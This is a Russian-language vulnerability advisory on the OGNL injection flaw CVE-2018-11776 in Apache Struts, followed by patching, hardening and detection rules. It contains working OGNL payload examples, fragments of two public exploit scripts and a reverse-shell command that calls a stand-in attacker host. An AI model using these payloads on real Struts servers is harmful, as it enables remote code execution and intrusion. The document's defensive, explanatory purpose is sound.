
Уязвимость BDU:2018-01069 (CVE-2018-11776) Apache Struts
Уязвимость BDU:2018-01069 (CVE-2018-11776), обнаруженная в Apache Struts 2.3–2.3.34 и 2.5–2.5.16, связана с некорректной обработкой пространств имен (namespaces) в конфигурации фреймворка. При определенных условиях злоумышленник может внедрить OGNL-выражения (Object-Graph Navigation Language) через URL, что приводит к удаленному выполнению произвольного кода (RCE).
CVSS 8.1 (HIGH): Уязвимость критична, так как не требует аутентификации и может эксплуатироваться удаленно.
Анализ уязвимости
Уровень опасности: 8.1 (Высокий)
Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.
-
AC:H (Сложность атаки: Высокая) – Требуются сложные условия или манипуляции.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.
-
S:U (Область: Неизменная) – Влияет только на уязвимый компонент.
-
C:H (Конфиденциальность: Высокое) – Полная компрометация данных.
-
I:H (Целостность: Высокое) – Возможность полной модификации данных.
-
A:H (Доступность: Высокое) – Серьёзный сбой в работе системы.
Интерпретация: Уязвимость высокой опасности (8.1) позволяет удалённо нарушить конфиденциальность, целостность и доступность системы, но требует сложных условий эксплуатации. Риск обусловлен максимальным воздействием на ключевые аспекты безопасности, несмотря на высокую сложность атаки.
Условия эксплуатации cve-2018-11776
Для успешной атаки при помощи cve-2018-11776 необходимо выполнение двух условий:
-
Приложение использует redirectAction или action с динамическим значением namespace, контролируемым пользователем.
-
В конфигурации
struts.xml
включена опция:<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
Пример уязвимой конфигурации:
<action name="help"> <result type="redirectAction"> <param name="actionName">date.action</param> </result> </action>
Важно: По умолчанию Struts не уязвим — проблема возникает только при неправильной настройке.
Технический анализ вектора атаки
Уязвимость cve-2018-11776 возникает из-за того, что Struts неправильно обрабатывает параметры в URL при редиректах. Злоумышленник может внедрить OGNL-выражение в путь URL, которое интерпретируется сервером.
Пример эксплуатации через URL:
http://example.com/${@java.lang.Runtime@getRuntime().exec('id')}/help.action
Сервер пытается обработать путь как namespace, вычисляет OGNL и выполняет команду id
.
Разбор кода эксплойтов
Рассмотрим два общедоступных эксплойта для понимания механики атаки.
1. struts-pwn.py
Основные функции:
-
check(url): Проверяет уязвимость BDU:2018-01069 (CVE-2018-11776), подставляя в URL выражение вида
${1337*2}
и проверяя результат.
testing_url = site + "/${2*2}/help.action" if "4" in response.headers["Location"]: print("[*] Vulnerable!")
-
exploit(url, cmd): Генерирует OGNL-пайплайн для выполнения команды.
Пример payload:
payload = "%24%7B%28%23_memberAccess..." # URL-encoded OGNL для выполнения Runtime.exec()
Ключевой момент:
Эксплойт использует параметр allowStaticMethodAccess
, чтобы разрешить вызов статических методов Java (например, Runtime.getRuntime()
), что критично для RCE.
2. exploitS2-057-cmd.py
Структура payload:
ognl_payload = "${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id')...}"
Алгоритм:
-
Определяет ОС (Windows/Linux) для выбора shell.
-
Выполняет команду через
ProcessBuilder
и отправляет результат в HTTP-ответ.
Пример выполнения обратного shell:
exploit("victim.com:8080", "/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")
Где используется Apache Struts?
Struts применяется в enterprise-приложениях, включая:
-
Финансовые системы (банковские порталы).
-
Государственные веб-сервисы.
-
CMS и CRM-системы (например, Liferay, Atlassian).
Уязвимость актуальна для любых приложений на Struts с неправильной конфигурацией, независимо от их назначения.
Защита и рекомендации
-
Обновление: Установите Struts 2.3.35 или 2.5.16.1.
-
Конфигурация:
-
Отключить опасные параметры:
<!-- Отключение опасных настроек --> <constant name="struts.mapper.alwaysSelectFullNamespace" value="false" /> <!-- Блокировка OGNL-инъекций --> <constant name="struts.ognl.excludedClasses" value="java.lang.ProcessBuilder" /> <constant name="struts.ognl.excludedPackageNames" value="ognl,java.lang" />
-
Избегайте динамических namespace в
redirectAction
.
-
-
WAF и IPS:
-
Правило Suricata:
alert http any any -> any any ( msg:"BDU-2018-01069: Apache Struts OGNL Injection"; flow:to_server; content:"${"; content:"{"; distance:0; within:50; content:"}"; http_uri; metadata:cve,2018-11776; classtype:web-application-attack; sid:201801069; rev:2; )
-
WAF-правила (модифицированные):
location ~* "(\${\w+\(|\${#|\${@) { deny all; }
-
Для ModSecurity:
SecRule REQUEST_URI|REQUEST_HEADERS "@rx \$\{.*\}" \ "id:101011776,phase:1,deny,t:urlDecode,msg:'CVE-2018-11776 Exploit'"
-
-
Аудит: Проверьте
struts.xml
на наличие опасных параметров. -
Архитектурные меры:
-
Сегрегация сетей: изоляция Struts-приложений
-
Запуск сервисов с минимальными привилегиями
-
Регулярный аудит зависимостей OWASP Dependency-Check
-
Заключение
CVE-2018-11776 остается критической угрозой для устаревших Struts-систем. Ключевые меры:
-
Немедленное обновление фреймворка
-
Конфигурационный аудит
struts.xml
-
Внедрение правил для Suricata/WAF
-
Регулярное сканирование уязвимостей
Помните: 95% успешных эксплуатаций CVE-2018-11776 связаны с отсутствием патчей и ошибками в настройке namespace. Актуальные патчи и строгий контроль конфигурации — основа защиты.
